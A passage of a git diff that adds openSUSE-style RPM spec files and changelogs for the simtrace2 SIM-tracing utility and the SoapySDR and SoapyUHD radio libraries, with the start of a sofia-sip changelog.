+ * I2C: return error after failed write
+ * I2C: add wait time after write to let EEPROM write
+ * cardem: fix USB message parsing
+ * cardem: fix typo
+
+-------------------------------------------------------------------
+Fri Jul 13 20:03:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531341196.f66af0c:
+ * sniff: add checksum verification for ATR and PPS
+
+-------------------------------------------------------------------
+Thu Jul 12 20:03:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531340686.5f6b871:
+ * fix 'ISO_S_IN_ATR not handled' gcc warning
+ * make adc2uv common
+ * host sniff: add functions to print flags
+ * host sniff: process remaining usb messages in buffer
+ * sniffer: fix inverted reset meaning
+ * sniffer: only allocate USB message if queue is not too long
+ * sniffer: also send malformed message over USB
+ * minor: fix linker warning
+ * sniffer: set LED pattern
+ * LED: add need pattern
+ * sniffer: move reset handling from ISR to main loop
+ * sniffer: move data print before USB send
+ * USB: add flags for sniff data and centralise transfer
+ * cosmetic: put spaces around operations
+ * replace leading spaces with tabs
+ * set linux end of line
+ * firmware: set license to GPLv2+
+ * host: set license to GPLv2+
+ * DFU: use central DFU override check
+
+-------------------------------------------------------------------
+Sat Jul 07 20:05:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1530968210.d24e9bd:
+ * DFU: re-enable UART after testing forced bootloader
+ * UART: remove unused code
+ * UART: make IRQ/ISR enabling simpler
+ * DFU: disable configured console UART before starting main app
+ * DFU: set stack pointer before starting main app
+ * buffer: increase buffer size to 512 to cope with fast and long TPDUs
+
+-------------------------------------------------------------------
+Thu Jul 05 20:04:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1530719720.4cbdc7c:
+ * fix LED switching on/off
+ * minor style change: use ARRAY_SIZE
+ * sniffer: add waiting time WT update
+ * sniffing: decrease USB IRQ prioprity to prevent USART overrun
+ * sniffing: fix procedure byte handling and make TPDU parsing more strict
+ * sniffer: also send incomplete (e.g. timeout) data (PPS/ATR/TPDU)
+ * sniffing: move conversion convertion and flag processing from ISR to main loop to keep ISR fast and focus on data capture
+ * console: drop data to be send when buffer is already full
+ * sniffer: display F and D values frim PPS
+ * host USB: add host application to receive and display USB sniffing messages sent by firmware
+ * sniffer USB: implement USB communication and send parsed messages
+ * USB device: add USB message structure for sniffer communication
+ * host USB: use central SIMtrace USB ID definition header
+ * host usb_util fix: used provided class, sub-class, and interfave when finding matching interfaces
+ * USB: add central file to define USB IDs, classes, and endpoints
+ * minor: fix typos in comment
+ * sniff: add WT timeout detection using USART timeout (TC is not required)
+ * sniff: add TPDU parsing (TPDUs become APDUs on the upper layer)
+ * sniff: print parsed ATR and PPS; use red LED to show main application is running; use green LED to indicate activity (message parsed)
+ * LED: add short LED pulse blinking pattern
+ * update_fidi: remove debug output since this function is called in time critical ISR
+ * DFU: switch green LED on to indicate DFU mode, and red LED to indicate flashing activity
+ * board: fix LED pin definition
+ * DFU: remove force bootloader button debug message since the console is output message is not initialized yet
+ * sniffer: use ISR to store sniffed data in buffer, add ATR and PPS parsing, and PPS related FiDi update
+ * trace: increase watchdog for 500 to 2000 ms to provide more time handling buffered data
+ * ISO7816: change update_fidi to use provided USART
+ * SIMtrace: enable interrupt on edge dection for SIM_RST pin to reset the sniffer ISO state
+ * SIMtrace: fix default SIM_RST pin state to allow phone controlled reset
+ * SIMtrace: only enable main sniffing mode on SIMtrace board
+ * sniffer: add state definitions, improve IRQ handling, update pins configuration
+ * simtrace: add support for sniffing on both USART
+ * board: comment USART definitions and add corresponding IRQ numbers
+ * simtrace: add dedicated power pins configuration for sniffing
+ * sniff: use USART 0 instead of USART 1
+ * SIMtrace board: comment and fix pin definition
+ * sniff mode: handle USART 1 RX interrupt to show sniffer data
+ * enable (empty) sniffer support for SIMtrace board
+ * copy working cardem app to trace
+ * ringbuffer: Don't print/TRAC from ringbuffer
+ * echo all command characters entered on serial console
+
+-------------------------------------------------------------------
+Mon Jul 02 10:10:55 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 0.0.0.git1530455605.cb6e205
+
diff --git a/rpm-local/spec/simtrace2/simtrace2.spec b/rpm-local/spec/simtrace2/simtrace2.spec
new file mode 100644
index 0000000..c1bb325
--- /dev/null
+++ b/rpm-local/spec/simtrace2/simtrace2.spec
@@ -0,0 +1,103 @@
+#
+# spec file for package simtrace2
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: simtrace2
+Version: 0.7.0.57
+Release: 0
+Summary: Osmocom SIMtrace host utility
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/simtrace2/wiki
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmosim)
+BuildRequires: pkgconfig(libpcsclite)
+BuildRequires: pkgconfig(libusb-1.0)
+BuildRequires: pkgconfig(libosmousb) >= 0.0.0
+BuildRequires: pkgconfig(udev)
+
+%description
+Osmocom SIMtrace 2 is a software and hardware system for passively
+tracing SIM-ME communication between the SIM card and the mobile phone,
+and remote SIM operation.
+
+This package contains SIMtrace 2 host utility.
+
+%package -n libosmo-simtrace2-0
+Summary: Shared Library part of libosmo-simtrace2
+Group: System/Libraries
+
+%description -n libosmo-simtrace2-0
+This library contains core "driver" functionality to interface with the
+Osmocom SIMtrace2 (and compatible) USB device firmware. It enables
+applications to implement SIM card / smart card tracing as well as
+SIM / smart card emulation functions.
+
+%package -n libosmo-simtrace2-devel
+Summary: Development files for the Osmocom SIMtrace2 library
+Group: Development/Libraries/C and C++
+Requires: libosmo-simtrace2-0 = %{version}
+
+%description -n libosmo-simtrace2-devel
+Osmocom SIMtrace2 (and compatible) USB device firmware. It enables
+applications to implement SIM card / smart card tracing as well as
+SIM / smart card emulation functions.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-simtrace2.
+
+%prep
+%setup -q
+
+%build
+cd host
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure --disable-static
+make %{?_smp_mflags}
+
+%install
+%make_install -C host
+install -Dm0644 host/contrib/99-simtrace2.rules %{buildroot}/%{_udevrulesdir}/99-simtrace2.rules
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%post -n libosmo-simtrace2-0 -p /sbin/ldconfig
+%postun -n libosmo-simtrace2-0 -p /sbin/ldconfig
+
+%files
+%doc README.md
+%{_bindir}/simtrace2-remsim
+%{_bindir}/simtrace2-remsim-usb2udp
+%{_bindir}/simtrace2-list
+%{_bindir}/simtrace2-sniff
+%{_udevrulesdir}/99-simtrace2.rules
+
+%files -n libosmo-simtrace2-0
+%{_libdir}/libosmo-simtrace2.so.0*
+
+%files -n libosmo-simtrace2-devel
+%dir %{_includedir}/osmocom/
+%dir %{_includedir}/osmocom/simtrace2/
+%{_includedir}/osmocom/simtrace2/*.h
+%{_libdir}/libosmo-simtrace2.so
+%{_libdir}/pkgconfig/libosmo-simtrace2.pc
+
+%changelog
diff --git a/rpm-local/spec/soapy-sdr/soapy-sdr.changes b/rpm-local/spec/soapy-sdr/soapy-sdr.changes
new file mode 100644
index 0000000..5553bfb
--- /dev/null
+++ b/rpm-local/spec/soapy-sdr/soapy-sdr.changes
@@ -0,0 +1,349 @@
+-------------------------------------------------------------------
+Sun Jan 12 20:24:59 UTC 2020 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Update to version 0.7.2
+ * Remove --no-undefined linker flag for python 3.8
+ * Fixed C bindings for parallel make and unmake
+ + pointer for argument inputs should be const
+ + wrong name for functions in FactoryC.cpp
+
+-------------------------------------------------------------------
+Sun Jan 27 16:52:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.1
+ * Fix for C API call SoapySDRDevice_setIQBalance()
+ * Default logger can be restored by setting NULL handler
+ + Bumped API version to 0.7.1 for the NULL log handler option
+ * Add missing registerLogHandler() to python bindings
+ * Move visibility flags from project config to library scope
+
+-------------------------------------------------------------------
+Sat Nov 10 09:35:29 UTC 2018 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Update to version 0.7.0
+ * Support parallel device factory construction/destruction
+ * Added error handling and return code to SoapySDRKwargs_set()
+ * Support list of module files in the search path
+ * Disable automatic module load when loadModule is used first
+ * Added --sparse print option to command line SoapySDRUtil
+ * Version reporting API and build support for loadable modules
+ * Added converter registry API for converting between sample types
+
+-------------------------------------------------------------------
+Fri Jun 8 10:06:58 UTC 2018 - wk@ire.pw.edu.pl
+
+- Update to version 0.6.1
+ * Handle null pointer in SoapySDRDevice_makeStrArgs()
+ * Added read stream status to rate testing application
+ * Fixed units for average byte rate in stream rate testing utility
+ * Separate ENABLE_PYTHON and ENABLE_PYTHON3 options for python support
+ * Moved cmake modules into subdirectory to hide them from cmake's
+ default project search path when cloned in user's home directory
+- Remove patch:
+ - 0001-Remove-whitespace-padding-from-PYTHON3_LIBRARIES-var.patch
+ (applied upstream)
+
+-------------------------------------------------------------------
+Mon Jan 15 20:27:40 UTC 2018 - mardnh@gmx.de
+
+- Add patch to avoid cmake bugs:
+ * 0001-Remove-whitespace-padding-from-PYTHON3_LIBRARIES-var.patch
+
+-------------------------------------------------------------------
+Sat Oct 7 18:43:05 UTC 2017 - mardnh@gmx.de
+
+- Build only against python3
+
+-------------------------------------------------------------------
+Wed Jun 28 11:09:43 UTC 2017 - jengelh@inai.de
+
+- Trim irrelevant filler wording from description.
+- RPM group corrections.
+
+-------------------------------------------------------------------
+Tue Jun 20 09:38:48 UTC 2017 - mpluskal@suse.com
+
+- Small spec file cleanup
+- Enable tests
+
+-------------------------------------------------------------------
+Fri May 5 09:58:21 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.6
+ Device C API changes:
+ * Device readI2C - make numBytes an in/out argument
+ * Device read/write registers switch to named variant
+ * Status return for Device C API calls with void return
+ General additions and changes:
+ * Added frequency corrections API for fine adjustments
+ * Added getSampleRateRange() API for continuous ranges
+ * Device factory table keys based on enumeration results
+ * Added optional step size to the range type
+ * Added rate testing to SoapySDRUtil application
+ * Added listSearchPaths() API and SoapySDRUtil print
+ * Added Kwargs type to/from markup string API calls
+ * Added read/writeRegisters() API for bulk register IO
+
+-------------------------------------------------------------------
+Thu Apr 13 18:23:11 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.5.4 (tagged release)
+ - renamed package from SoapySDR to soapy-sdr
+ - specfile cleanup
+
+-------------------------------------------------------------------
+Tue Jan 03 21:11:54 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.5.4.git1482113728.5e823fc:
+ * python: CMake override for PYTHON_INSTALL_DIR
+ * cmake: Fixes for SOAPY_SDR_MODULE_UTIL destination
+ * python: use cache type STRING for PYTHON_INSTALL_DIR
+ * soapy: changelog entry for 0.4.2 tag
+ * fix soapy device decl for a C compiler
+ * fixed missing memset for SoapySDRKwargs
+ * cleaner fix for the SoapySDRDevice decl
+ * soapy: updated lib version
+ * soapy: added channel-specific settings API
+ * soapy: fix SOAPY_SDR_SOVER variable cache
+ * soapy: changelog entry for channel settings API
+ * soapy: DLL path determines install root
+ * debian: rename to match SO version
+ * added getBandwidthRange() for continuous ranges
+ * C bindings return status, stash error message
+ * soapy: changelog entry for 0.4.3 tag
+ * Fix FindPython3Libs.cmake use of python3-config
+ * probe also prints channel settings
+ * probe indent for multi-line argInfo.description
+ * Added getChannelInfo(dir, channel) to Channel API
+ * Added buildkite script
+ * Added C functions for getChannelInfo
+ * Modified channel information printing in probe
+ * channel info api - docstrings and API define
+ * Bastille Networks copyright on changes
+ * added named register interface API
+ * Add known python version 3.5 to FindPython3Libs.cmake
+ * Moved time source calls to time API section
+ * cmake rpath handling enabled
+ * Added device factory lock to the python enumerate wrapper
+ * wait trigger flag for triggered streaming
+ * support NULL for empty SoapySDRKwargs list
+ * c++11 flags for cmake config
+ * make use of auto and ranged for loops
+ * make factory thread-safe with mutex
+ * remove factory lock from python bindings
+ * recursive mutex for nested factory calls
+ * use c++11 nullptr for null device/stream
+ * Deprecated setCommandTime, use setHardwareTime
+ * debian: updated packaging for soversion 0.5-2
+ * debian: override dh_auto_test
+ * debian: fix CMAKE_INSTALL_RPATH detection
+ * Fix "Ingore" typo in Device.cpp
+ * Substitute full license text in CMake scripts
+ * Give debian/rules execute permissions
+ * changelog entry for 0.4.4 tag
+ * changelog entry for 0.5.0 tag
+ * Added the ABI version to the modules directory
+ * Change logger to always use stderr by default
+ * changelog entry for logger stderr
+ * debian: allow any swig >= 2.0.0
+ * changelog entry for debian swig change
+ * Added SoapySDR_getLibVersion() and SOAPY_SDR_API_VERSION
+ * changelog entry for 0.5.1 tag
+ * python config hints
+ * build helpers for python development
+ * docs: update to Doxyfile 1.8.11
+ * docs: Fixes for Doxygen warnings
+ * debian: fixed lintian error for multiarch-support
+ * changelog entry for 0.5.2 tag
+ * added read write for block memory
+ * removed deprecated calls
+ * added def macro for memory block operation
+ * bump version and changelog entry
+ * fix regex for ABI version
+ * memory io: tweaks, warnings, comments
+ * moved macros to error helpers hdr
+ * improved catch macro for specified return
+ * try/catch for factory make
+ * try/catches for several device calls
+ * Added Kwargs type to/from markup string
+ * added missing cctype include
+ * try/catches for more device calls
+ * remaining try/catches
+ * changelog entry, API increment
+ * added SoapySDRDevice_lastStatus()
+ * appveyor: build maint branch as well
+ * cleanup warnings for some returns
+ * bump SOAPY_SDR_LIBVER to 0.5.3
+ * Status return for Device C API calls with void return
+ * C API - readI2C numBytes readback
+ * fix size_t python issue on arm 32-bit
+ * try/catch for remaining factory calls
+ * travis ci - maint/master whitelist
+ * Device read/write registers switch to named variant
+ * changelog entry for 0.5.3 tag
+ * debian: tweaks, exand desc, soapysdr-modules-all
+ * Windows: disable error pop-ups when DLLs not found
+ * Dynamic root environment variable to support snappy packages
+ * default SOAPY_SDR_ROOT supports empty prefix
+ * Added listSearchPaths() API and SoapySDRUtil print
+ * rate testing options
+ * work on rate test executor
+ * working rate test
+ * also record+print underflows
+ * changelog entry for rate testing app
+ * Added manpage for SoapySDRUtil
+ * man pages - installation rules and additional comments
+ * man pages - use pothosware email
+ * python: larger 1 second timeout in SimpleSiggen.py
+ * changelog entry for 0.5.4 tag
+ * fix merge cruft in changelog
+ * Fix for cache overwrite of PYTHON_INSTALL_DIR variable
+
+-------------------------------------------------------------------
+Tue Feb 16 22:41:43 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.4.1.git1455391782.aee78eb:
+ + soapy: changelog entry for 0.4.0 tag
+ + soapy: Added official modules to debian Recommends
+ + debian: fix upstream changelog and license install
+ + soapy: notes on stream timeout
+ + soapy: added section divider comments
+ + soapy: print version and sover in cmake summary
+ + soapy: Added readStreamStatus() to python bindings
+ + soapy: changelog entry for 0.4.1 tag
+ + python: increase timeout for the MeasureDelay demo
+ + set BW param for delay test
+ + python: simple siggen app
+
+-------------------------------------------------------------------
+Tue Dec 08 20:56:57 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1449600912.f724acc:
+ + soapy: should be using find_package(SWIG)
+ + S / U documentation (fixes #47)
+ + soapy: fix error C linkage
+ + soapy: Added defines for common stream formats
+ + soapy: use std::string in c++ formatToSize
+ + soapy: fix copypasta typo for compat defines
+ + soapy: compat define for format work
+ + soapy: individual feature enables for various build components
+ + soapy: make use of PROJECT_NAME variable in summary
+ + soapy: documentation about readStream() and active state
+ + soapy: Workaround for multiple null module load
+ + soapy: Added check for driver present to util
+ + soapy: suppress warning 4251 in msvc
+ + appveyor: disabled python bindings - link issue on VM
+ + travis: update to trusty, and build python3 as well
+ + travis: added unit testing for python3 bindings
+ + travis: fully quality python paths
+ + travis: fix prints for python3 style
+ + python: help FindPythonLibs with version string
+ + python: build with -threads to release GIL while blocking
+ + soapy: minor changes for subproject support
+ + soapy: same change for ConfigVersion file
+
+-------------------------------------------------------------------
+Fri Oct 30 21:00:14 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1446186919.aee4870:
+ + soapy: Set library SOVERSION using SOAPY_SDR_ABI_VERSION
+ + soapy: Added API to query available clock rates
+ + soapy: Added API to query AGC mode availability
+ + soapy: work on the arg into structs
+ + soapy: helper functions for arg info
+ + soapy: Added API to query stream argument info
+ + soapy: Added API to query setting argument info
+ + soapy: added calls to clear a list of args and infos
+ + soapy: Added API to query sensors meta info
+ + soapy: Added API to query tune argument info
+ + soapy: Added C++ typedef for list of Kwargs
+ + soapy: Added API to query native stream format
+ + soapy: CMAKE_BUILD_TYPE automatically defaults to Release
+ + soapy: Added setLogLevel() and default log threshold
+ + soapy: Missing virtual defs in Device.hpp
+ + soapy: no tuning options with single components
+ + soapy: New query information for SoapySDRUtil --probe
+ + soapy: improved prints for arg info
+ + soapy: rename settings print to other settings
+ + soapy: registry destructor removes entry
+ + soapy: new loader functions, and stash module path
+ + soapy: error reporting for load/unload modules
+ + soapy: get registration results from load
+ + soapy: common header for type converters
+ + soapy: loadModules() skips modules manually loaded
+ + soapy: changelog entry for loader work
+ + soapy: fix unsued result warning for vasprintf
+ + soapy: windows format string error message
+ + soapy: check that python versions match
+ + soapy: conditional check versions when available
+ + soapy: duplicate keys to fix (changed size during iteration)
+ + soapy: support simultaneous python2 and 3 builds
+ + soapy: tweaks for debian build
+ + soapy: duplicate keys to fix (changed size during iteration)
+ + soapy: readme for python3 directory
+ + soapy: when all else fails, use the python3-config executable
+ + soapy: added swig definition for arg info list
+ + soapy: swig adjustments for python3 stream buffers
+
+-------------------------------------------------------------------
+Mon Oct 12 17:55:31 UTC 2015 - mardnh@gmx.de
+
+- separate python package
+- specfile cleanup
+
+-------------------------------------------------------------------
+Sun Oct 11 21:44:23 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1444587967.7583091:
+ + soapy: removed git submodules from project (#24)
+ + soapy: Added GPIO API data direction modification mask
+ + soapy: direction register readback api
+ + soapy: separate calls for masked implementations
+ + soapy: channel sensors api
+ + soapy: error code to string function
+ + soapy: checks for frontend corrections support
+ + soapy: additions to chanelog file
+ + soapy: fix order of name param in readSensor
+ + soapy: update project number to v0.3.0
+ + soapy: fix comment copypasta in util app
+ + soapy: whitespace fix for setGainMode comments
+ + soapy: Util --probe option for detailed info summary
+ + soapy: skip probe print on empty bws
+ + soapy: linker flags should be appended
+ + soapy: changelog entry for 0.2.3 tag
+ + soapy: changelog entry for 0.3.0 tag
+ + soapy: Added -DSOAPY_SDR_ROOT=<path> option to build
+ + soapy: Fixed missing python bindings for Errors.hpp
+ + soapy: support in-tree SOAPY_SDR_ROOT as well
+ + soapy: changelog entry for 0.3.1 tag
+
+-------------------------------------------------------------------
+Sat Sep 19 21:05:18 UTC 2015 - mardnh@gmx.de
+
+- add support for airspy
+
+-------------------------------------------------------------------
+Mon Aug 10 18:22:54 UTC 2015 - mardnh@gmx.de
+
+- update to version 0.2.0.git20150810
+
+-------------------------------------------------------------------
+Wed Mar 18 08:23:22 UTC 2015 - mardnh@gmx.de
+
+- update to version 0.2.0.git20150318
+
+-------------------------------------------------------------------
+Sun Mar 15 22:56:19 UTC 2015 - mardnh@gmx.de
+
+- update to version 0.2.0.git20150315
+
+-------------------------------------------------------------------
+Sat Feb 28 18:14:36 UTC 2015 - mardnh@gmx.de
+
+- update to version 0.2.0.git20150228
+
+-------------------------------------------------------------------
+Sun Feb 22 18:48:01 UTC 2015 - mardnh@gmx.de
+
+- initial package, version 0.2.0.git20150222
+
diff --git a/rpm-local/spec/soapy-sdr/soapy-sdr.spec b/rpm-local/spec/soapy-sdr/soapy-sdr.spec
new file mode 100644
index 0000000..6ad59cc
--- /dev/null
+++ b/rpm-local/spec/soapy-sdr/soapy-sdr.spec
@@ -0,0 +1,111 @@
+#
+# spec file for package soapy-sdr
+#
+# Copyright (c) 2019 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+%define sover 0_7
+Name: soapy-sdr
+Version: 0.7.2
+Release: 0
+Summary: Vendor and platform neutral SDR support library
+License: BSL-1.0
+Group: Development/Libraries/C and C++
+Url: https://github.com/pothosware/SoapySDR.git
+Source: https://github.com/pothosware/SoapySDR/archive/%{name}-%{version}.tar.gz
+BuildRequires: boost-devel
+BuildRequires: cmake
+BuildRequires: doxygen
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig
+BuildRequires: swig
+BuildRequires: pkgconfig(python3)
+
+%description
+A vendor neutral and platform independent SDR support library.
+
+%package -n libSoapySDR%{sover}
+Summary: Vendor and platform neutral SDR support library
+Group: System/Libraries
+
+%description -n libSoapySDR%{sover}
+A vendor neutral and platform independent SDR support library.
+
+%package -n python3-SoapySDR
+Summary: Python bindings for SoapySDR
+Group: Development/Languages/Python
+Provides: python-%{name}
+Recommends: pytnon-numpy
+
+%description -n python3-SoapySDR
+Python Bindings for SoapySDR.
+A vendor neutral and platform independent SDR support library.
+
+%package devel
+Summary: Development files for the SoapySDR library
+Group: Development/Libraries/C and C++
+Requires: libSoapySDR%{sover} = %{version}
+
+%description devel
+This subpackage contains libraries and header files for developing
+applications that want to make use of libSoapySDR.
+
+%prep
+%setup -q -n SoapySDR-%{name}-%{version}
+
+%build
+%cmake \
+ -DBUILD_PYTHON3=ON
+%make_jobs
+
+%install
+%cmake_install
+
+%check
+# path needs to be exported otherwise unit tests will fail
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:%{buildroot}%{_libdir}
+%ctest
+
+%post -n libSoapySDR%{sover} -p /sbin/ldconfig
+%postun -n libSoapySDR%{sover} -p /sbin/ldconfig
+
+%files
+%defattr(-,root,root)
+%{_bindir}/SoapySDRUtil
+
+%files -n libSoapySDR%{sover}
+%doc Changelog.txt README.md
+%license LICENSE_1_0.txt
+%{_libdir}/libSoapySDR.so.*
+
+%files -n python3-SoapySDR
+%{python3_sitearch}/SoapySDR.py
+%{python3_sitearch}/*SoapySDR.so
+
+%files devel
+%doc docs/
+%dir %{_includedir}/SoapySDR
+%{_includedir}/SoapySDR/*.h
+%{_includedir}/SoapySDR/*.hpp
+%{_libdir}/libSoapySDR.so
+%{_libdir}/pkgconfig/SoapySDR.pc
+%dir %{_datadir}/cmake/SoapySDR
+%{_datadir}/cmake/SoapySDR/SoapySDRConfig.cmake
+%{_datadir}/cmake/SoapySDR/SoapySDRConfigVersion.cmake
+%{_datadir}/cmake/SoapySDR/SoapySDRUtil.cmake
+%{_mandir}/man1/SoapySDRUtil.1%{ext_man}
+
+%changelog
diff --git a/rpm-local/spec/soapy-uhd/soapy-uhd.changes b/rpm-local/spec/soapy-uhd/soapy-uhd.changes
new file mode 100644
index 0000000..3aee2cc
--- /dev/null
+++ b/rpm-local/spec/soapy-uhd/soapy-uhd.changes
@@ -0,0 +1,88 @@
+-------------------------------------------------------------------
+Wed Jun 26 20:42:43 UTC 2019 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Update to version 0.3.6
+ * Support tuning on boards without a CORDIC in the DSP by
+ registering a dummy second tuning element
+
+-------------------------------------------------------------------
+Sun Mar 24 22:17:05 UTC 2019 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Fix build with Boost 1.69
+
+-------------------------------------------------------------------
+Thu Dec 13 12:27:36 UTC 2018 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Update to version 0.3.5
+ * Create fake channels if the number of TX and RX channels
+ are not equal to fix segmentation faults in UHD based tools
+
+-------------------------------------------------------------------
+Sat Nov 10 13:06:58 UTC 2018 - Wojciech Kazubski <wk@ire.pw.edu.pl>
+
+- Update soapy-module version 0.6 -> 0.7
+
+-------------------------------------------------------------------
+Fri Jun 8 10:45:21 UTC 2018 - wk@ire.pw.edu.pl
+
+- Update to version 0.3.4
+ * Optional check for dsp freq range in property tree
+ * Tx de/activateStream() return 0 for NOP, not an error
+ * Support timestamp for deactivateStream() stream command
+ * Conditional support for new logging API (replaces msg.hpp)
+ * Tx stream activation hooks based on start and end of burst
+
+-------------------------------------------------------------------
+Fri May 5 13:45:50 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.3.3
+ * Results for frequency component with no tune result
+ * Fix arg for set_rx_subdev_spec() in UHDSoapyDevice
+ * Support getBandwidthRange()/getSampleRateRange()
+ * UHDSoapyDevice supports zero length buffer send()
+ * Implement timestamp interpolation for uhd rx streams
+ * Added label convention to soapy uhd discovery routine
+ * Support for optional gain range step in type conversions
+
+-------------------------------------------------------------------
+Wed Apr 19 21:50:23 UTC 2017 - mardnh@gmx.de
+
+- renamed packages according the debian package name from upstream
+
+-------------------------------------------------------------------
+Fri Apr 14 19:47:52 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.3.2 (tagged release)
+- renamed package from SoapyUHD to soapy-uhd
+- specfile cleanup
+
+-------------------------------------------------------------------
+Tue Jan 03 21:36:53 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.3.1.git1483171554.d624ef0:
+ * support property tree API changes
+ * support setHardwareTime(CMD), deprecated setCommandTime()
+ * separate project and debian changelogs
+ * changelog notes for property tree API support
+ * changelog entry for 0.3.1
+ * debian: update for soapySDR module ABI format
+ * debian: fixed rules executable bit
+ * Corrections for license and copyright text
+ * changelog entry for copyright/license commit
+ * Symlinks to workaround uhd 3.10 multi-arch bug
+ * Added corrections hooks for soapy devices in uhd
+ * Added tx/rx_subdev device argument for uhd device
+
+-------------------------------------------------------------------
+Tue Dec 08 21:08:47 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.2.0.git1448007406.db55e3a:
+ + uhd: update for SoapySDR v0.4 arg info calls
+ + travis: install uhd from drivers ppa
+ + travis: fix uhd install command (no recommends)
+ + travis: unit check that driver loads
+
+-------------------------------------------------------------------
+Sun Oct 11 21:09:39 UTC 2015 - mardnh@gmx.de
+
+ - initial package
diff --git a/rpm-local/spec/soapy-uhd/soapy-uhd.spec b/rpm-local/spec/soapy-uhd/soapy-uhd.spec
new file mode 100644
index 0000000..d763100
--- /dev/null
+++ b/rpm-local/spec/soapy-uhd/soapy-uhd.spec
@@ -0,0 +1,75 @@
+#
+# spec file for package soapy-uhd
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define soapy_modver 0.7
+%define soapy_modname soapysdr%{soapy_modver}-module-uhd
+
+Name: soapy-uhd
+Version: 0.3.6
+Release: 0
+Summary: Soapy SDR plugins for UHD supported SDR devices
+License: GPL-3.0
+Group: Hardware/Other
+Url: https://github.com/pothosware/SoapyUHD/wiki
+#Git-Clone: https://github.com/pothosware/SoapyUHD.git
+Source: https://github.com/pothosware/SoapyUHD/archive/%{name}-%{version}.tar.gz
+BuildRequires: cmake
+BuildRequires: gcc-c++
+BuildRequires: pkg-config
+BuildRequires: pkgconfig(SoapySDR)
+BuildRequires: pkgconfig(uhd)
+%if 0%{?suse_version} > 1500
+BuildRequires: libboost_chrono-devel
+BuildRequires: libboost_date_time-devel
+BuildRequires: libboost_system-devel
+BuildRequires: libboost_thread-devel
+%endif
+
+%description
+Soapy UHD - Soapy SDR devices for UHD.
+A UHD module that supports Soapy devices within the UHD API.
+
+%package -n %{soapy_modname}
+Summary: Soapy SDR plugins for UHD supported SDR devices
+Group: System/Libraries
+
+%description -n %{soapy_modname}
+Soapy UHD - Soapy SDR devices for UHD.
+A UHD module that supports Soapy devices within the UHD API.
+
+%prep
+%setup -q -n SoapyUHD-%{name}-%{version}
+
+%build
+%cmake
+make VERBOSE=1 %{?_smp_mflags}
+
+%install
+%cmake_install
+
+%files -n %{soapy_modname}
+%license COPYING
+%doc Changelog.txt README.md
+%dir %{_libdir}/SoapySDR
+%dir %{_libdir}/SoapySDR/modules%{soapy_modver}
+%{_libdir}/SoapySDR/modules%{soapy_modver}/libuhdSupport.so
+%dir %{_libdir}/uhd
+%dir %{_libdir}/uhd/modules
+%{_libdir}/uhd/modules/libsoapySupport.so
+
+%changelog
diff --git a/rpm-local/spec/sofia-sip/sofia-sip.changes b/rpm-local/spec/sofia-sip/sofia-sip.changes
new file mode 100644
index 0000000..4274971
--- /dev/null
+++ b/rpm-local/spec/sofia-sip/sofia-sip.changes
@@ -0,0 +1,91 @@
+-------------------------------------------------------------------
+Fri Mar 1 12:46:50 UTC 2013 - dimstar@opensuse.org
+
+- Spec-cleanup using format_spec_file service.
+
+-------------------------------------------------------------------
+Thu Jul 7 22:48:47 CEST 2011 - vuntz@opensuse.org
+
